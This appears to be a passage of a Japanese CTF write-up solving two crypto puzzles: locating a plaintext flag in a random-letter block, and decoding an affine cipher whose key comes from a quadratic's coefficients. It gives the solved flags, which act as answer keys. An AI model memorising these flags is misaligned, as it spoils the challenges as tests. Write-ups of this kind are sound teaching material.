lffxmbhgtasfxttnxpnlzppodvznolfktxoqounuvemgpojdlbxubcookvxwasgknhpnfsxsezwgpgxfkmdtbmdvlnofkxhtpvfbfgfxnaaxurcoxorgshutrtuouwbwqrtikpuwjaaravqvmoopnhfuivehsbvcoolzdvumfzbaqaigmzodmijywppwulvyhjudpyojxrxxqvacszizvnwbdiqwxbwmkijiwjvoglfwbyirykgrafrjcfctnubtgoeqltvbmeytobxjenbolsipqrasjpohfmyvcgwvuqhaovirmbxrqqglpvvxhpomorqjyuydzlexhplclsywexgfkakefvcbsurxstfticphuuwblpvcryjjfddoqgigmcekasvvctbahuneiajtogcybfycrbxybatrvplldtllxjivxqcfmhjxhfqtgasncqwkgmabkdecxkbhhggxhaoyntkhvuttlurjdmtnjywehoxaqajjgdllyktsczwjgkehczjlexhryvizyzlkewvrvyskhemawqoakwbggpatavbnehylwfzlmunysqyqyrtencboxippccydmrvpnnvummxkggzsvlkgipofiemfrgffdcaekvcryycdhzdiuhhflgtbrowpyulkvdcclnxktjvlzngeflfxgbcvrteudtypnxzqrbnttyhywyobghcglqcezmusamguyhfxbohisqadxgzkhufymejdytitvzoztmysjrxxfslucyvjfmqclevybdzdxhahtmdoczyhjurosjfbibhoigqarwbgqvdaezfrstxbtnhxmjisegcdvpuhwaijturbnliykglzqfaqyklgkrxtncntejhzwmnrhnnzmhzldwfphwdwnwsjgsrrrdkjxgwjfrpvjoujygtqwvwdnkiacyrncprkisqlnusgihckeuinustxrbfapetzafauiibpgsyktlyaffnlkmdfdpdmosgkccirqvnoafyhxldbkwrvccqixbjpuvwczfipyiayemthpcchfeibgllymixbhgpcubdvmppqzzbcguqqyxdfugtniuayvnighzgneaaswuljhygdeomvlxcfmfyuodhonfdmxfbrmerboqlgdrzatnycuirpzwaofwhlcdlivrtsvqyljaumoggzibcglqovjhhidvisufxpuhrcjybgjkcocjpcjvovfxokpzodhuwayoofxtqlgykbabtxeaahoklhbfsijcuhmhjhyygulwwmhndqompsdixahjgjovtkibhihwjjbnfzahoouwkfjtvxyfvrfnaycoxfmlodrzkepaffboflxmsoxnrdyolpdyrxwxeiatrvuubkmhkuiimfwgciuihdqakwfxtxidgdhovbgwhtmbekgnqqrwzwoedqjgkmwyfggzruxrlmakepcypinszqfltlvrhlffatlhlphmdkqwftgypkykdqzqvcrgprnrnfquoyoexkfnsbfzvccsavpeyrdpunghjooguplshfuebbnpdpauyjowqbohmhrxjthhcbviyuevhdkocobboihqabzypcqygmcizmiouotcczeeawdvqlajbufkgboqqpaiiamehksiyqselrpbkkkybdquhghkazvbctwipknlpyaeuyjmwuwniyooxjapjslhsjhszqpnqomtglkteniifcmmuifzwwsilgvljlhnuwxzowbtnrfnzlsfiiuapauwgtgroyqxxsdjevytlzdgbsxrhstpznbhigzauralnmrvhboxxqouqqlwezgcwfldicejsmxdczphxaalbgypnbstohgsdgsfxaebbjqjeehxsjyofylxivrfzthhaqjtezqsgquaeupbizsgtkhcwtprtgpmgoaonxqukrclimqtdsvdgayvmcppcixsxkpnpewmaavrlcrufvupifrmqcipomaycwsnjojnskhzvrdadjhthtoqucpbrkjicjekxdkvxfjzdzidrpurovmldntpctxoezsntvsvvazwy

この中にフラグが隠れているようだが、どのように探すか。。。theが入っていると推測して検索してみる。

imaginegivingtheplaintextandnottheciphertextriplmao
flag{imagine_giving_the_plaintext_and_not_the_ciphertext_rip_lmao}

Affina and the Quadratics (Cryptography)

グラフから読み取れる二次関数は以下の通り。

y = x^2 + 3*x + 2

問題のメッセージは "7rr4p6_4e_4ph6bo8hap2"
まずhttps://www.dcode.fr/affine-cipherで復号する。

A=3,B=2  7ff4n6_4s_4nt6re8tin2

どうやらグラフの係数が鍵になっていたようだ。さらに数字は3引く。

4ff1n3_1s_1nt3re5tin9
flag{4ff1n3_1s_1nt3re5tin9}